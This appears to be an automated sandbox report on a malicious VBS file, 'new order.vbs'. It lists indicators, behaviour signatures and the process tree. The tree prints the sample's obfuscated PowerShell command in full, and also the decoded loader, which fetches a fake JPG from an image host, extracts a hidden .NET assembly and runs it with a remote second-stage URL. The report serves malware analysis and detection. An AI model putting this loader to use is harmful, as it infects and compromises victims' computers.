Analysis
- max time kernel
126s - max time network
130s - platform
windows10-2004_x64 - resource
win10v2004-20230703-en - resource tags
- submitted
22/08/2023, 07:44
General
- Target new order.vbs
- Size 269KB
- Sample230822-jktlcaag33
- SHA256 c98f9d2a27cf5718577e4b9a2ed0f8bb606b1a5a79bf0f69b454ccd3d8522c15
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
ps1.dropper
https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129
-
exe.dropper
https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129
Signatures
- Blocklisted process makes network request 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\new order.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DU#@$#OQ#@$#v#@$#DU#@$#MQ#@$#w#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#cgB1#@$#G0#@$#c#@$#Bf#@$#H#@$##@$#cgBp#@$#HY#@$#YQB0#@$#GU#@$#LgBq#@$#H#@$##@$#Zw#@$#/#@$#DE#@$#Ng#@$#5#@$#D#@$##@$#NQ#@$#w#@$#DQ#@$#MQ#@$#y#@$#Dk#@$#Jw#@$#7#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#I#@$##@$#9#@$#C#@$##@$#TgBl#@$#Hc#@$#LQBP#@$#GI#@$#agBl#@$#GM#@$#d#@$##@$#g#@$#FM#@$#eQBz#@$#HQ#@$#ZQBt#@$#C4#@$#TgBl#@$#HQ#@$#LgBX#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#7#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#g#@$#D0#@$#I#@$##@$#k#@$#Hc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#C4#@$#R#@$#Bv#@$#Hc#@$#bgBs#@$#G8#@$#YQBk#@$#EQ#@$#YQB0#@$#GE#@$#K#@$##@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBV#@$#HI#@$#b#@$##@$#p#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#g#@$#D0#@$#I#@$#Bb#@$#FM#@$#eQBz#@$#HQ#@$#ZQBt#@$#C4#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#EU#@$#bgBj#@$#G8#@$#Z#@$#Bp#@$#G4#@$#ZwBd#@$#Do#@$#OgBV#@$#FQ#@$#Rg#@$#4#@$#C4#@$#RwBl#@$#HQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBC#@$#Hk#@$#d#@$#Bl#@$#HM#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#EY#@$#b#@$#Bh#@$#Gc#@$#I#@$##@$#9#@$#C#@$##@$#Jw#@$#8#@$#Dw#@$#QgBB#@$#FM#@$#RQ#@$#2#@$#DQ#@$#XwBT#@$#FQ#@$#QQBS#@$#FQ#@$#Pg#@$#+#@$#Cc#@$#Ow#@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#I#@$##@$#9#@$#C#@$##@$#Jw#@$#8#@$#Dw#@$#QgBB#@$#FM#@$#RQ#@$#2#@$#DQ#@$#XwBF#@$#E4#@$#R#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C4#@$#SQBu#@$#GQ#@$#ZQB4#@$#E8#@$#Zg#@$#o#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bl#@$#G4#@$#Z#@$#BG#@$#Gw#@$#YQBn#@$#Ck#@$#Ow#@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#t#@$#Gc#@$#ZQ#@$#g#@$#D#@$##@$#I#@$##@$#t#@$#GE#@$#bgBk#@$#C#@$##@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#t#@$#Gc#@$#d#@$##@$#g#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#Cs#@$#PQ#@$#g#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#EY#@$#b#@$#Bh#@$#Gc#@$#LgBM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#7#@$#CQ#@$#YgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#T#@$#Bl#@$#G4#@$#ZwB0#@$#Gg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#t#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BD#@$#G8#@$#bQBt#@$#GE#@$#bgBk#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBT#@$#HU#@$#YgBz#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#s#@$#C#@$##@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#p#@$#Ds#@$#J#@$#Bj#@$#G8#@$#bQBt#@$#GE#@$#bgBk#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#g#@$#D0#@$#I#@$#Bb#@$#FM#@$#eQBz#@$#HQ#@$#ZQBt#@$#C4#@$#QwBv#@$#G4#@$#dgBl#@$#HI#@$#d#@$#Bd#@$#Do#@$#OgBG#@$#HI#@$#bwBt#@$#EI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#FM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BD#@$#G8#@$#bQBt#@$#GE#@$#bgBk#@$#Ck#@$#Ow#@$#k#@$#Gw#@$#bwBh#@$#GQ#@$#ZQBk#@$#EE#@$#cwBz#@$#GU#@$#bQBi#@$#Gw#@$#eQ#@$#g#@$#D0#@$#I#@$#Bb#@$#FM#@$#eQBz#@$#HQ#@$#ZQBt#@$#C4#@$#UgBl#@$#GY#@$#b#@$#Bl#@$#GM#@$#d#@$#Bp#@$#G8#@$#bg#@$#u#@$#EE#@$#cwBz#@$#GU#@$#bQBi#@$#Gw#@$#eQBd#@$#Do#@$#OgBM#@$#G8#@$#YQBk#@$#Cg#@$#J#@$#Bj#@$#G8#@$#bQBt#@$#GE#@$#bgBk#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C4#@$#RwBl#@$#HQ#@$#V#@$#B5#@$#H#@$##@$#ZQ#@$#o#@$#Cc#@$#RgBp#@$#GI#@$#ZQBy#@$#C4#@$#S#@$#Bv#@$#G0#@$#ZQ#@$#n#@$#Ck#@$#Ow#@$#k#@$#G0#@$#ZQB0#@$#Gg#@$#bwBk#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#d#@$#B5#@$#H#@$##@$#ZQ#@$#u#@$#Ec#@$#ZQB0#@$#E0#@$#ZQB0#@$#Gg#@$#bwBk#@$#Cg#@$#JwBW#@$#EE#@$#SQ#@$#n#@$#Ck#@$#Ow#@$#k#@$#GE#@$#cgBn#@$#HU#@$#bQBl#@$#G4#@$#d#@$#Bz#@$#C#@$##@$#PQ#@$#g#@$#Cw#@$#K#@$##@$#n#@$#HQ#@$#e#@$#B0#@$#C4#@$#ZQB0#@$#GE#@$#Z#@$#Bw#@$#HU#@$#LwBy#@$#HY#@$#aQ#@$#v#@$#GU#@$#bQBp#@$#Gw#@$#Lw#@$#0#@$#C4#@$#NQ#@$#3#@$#DE#@$#Lg#@$#w#@$#DE#@$#Mg#@$#u#@$#DI#@$#OQ#@$#x#@$#C8#@$#Lw#@$#6#@$#H#@$##@$#d#@$#B0#@$#Gg#@$#Jw#@$#p#@$#Ds#@$#J#@$#Bt#@$#GU#@$#d#@$#Bo#@$#G8#@$#Z#@$##@$#u#@$#Ek#@$#bgB2#@$#G8#@$#awBl#@$#Cg#@$#J#@$#Bu#@$#HU#@$#b#@$#Bs#@$#Cw#@$#I#@$##@$#k#@$#GE#@$#cgBn#@$#HU#@$#bQBl#@$#G4#@$#d#@$#Bz#@$#Ck#@$#';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.etadpu/rvi/emil/4.571.012.291//:ptth');$method.Invoke($null, $arguments)"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_4mvfti02.3gm.ps1
memory/4736-161-0x00007FF8E4800000-0x00007FF8E52C1000-memory.dmp
memory/4736-156-0x00007FF8E4800000-0x00007FF8E52C1000-memory.dmp
memory/4736-157-0x000001D9F1CC0000-0x000001D9F1CD0000-memory.dmp
memory/4736-158-0x000001D9F1CC0000-0x000001D9F1CD0000-memory.dmp
memory/4816-144-0x0000014EBF360000-0x0000014EBF370000-memory.dmp
memory/4816-146-0x0000014EBF360000-0x0000014EBF370000-memory.dmp
memory/4816-133-0x0000014EBFC90000-0x0000014EBFCB2000-memory.dmp
memory/4816-145-0x0000014EBF360000-0x0000014EBF370000-memory.dmp
memory/4816-143-0x00007FF8E4800000-0x00007FF8E52C1000-memory.dmp
memory/4816-165-0x00007FF8E4800000-0x00007FF8E52C1000-memory.dmp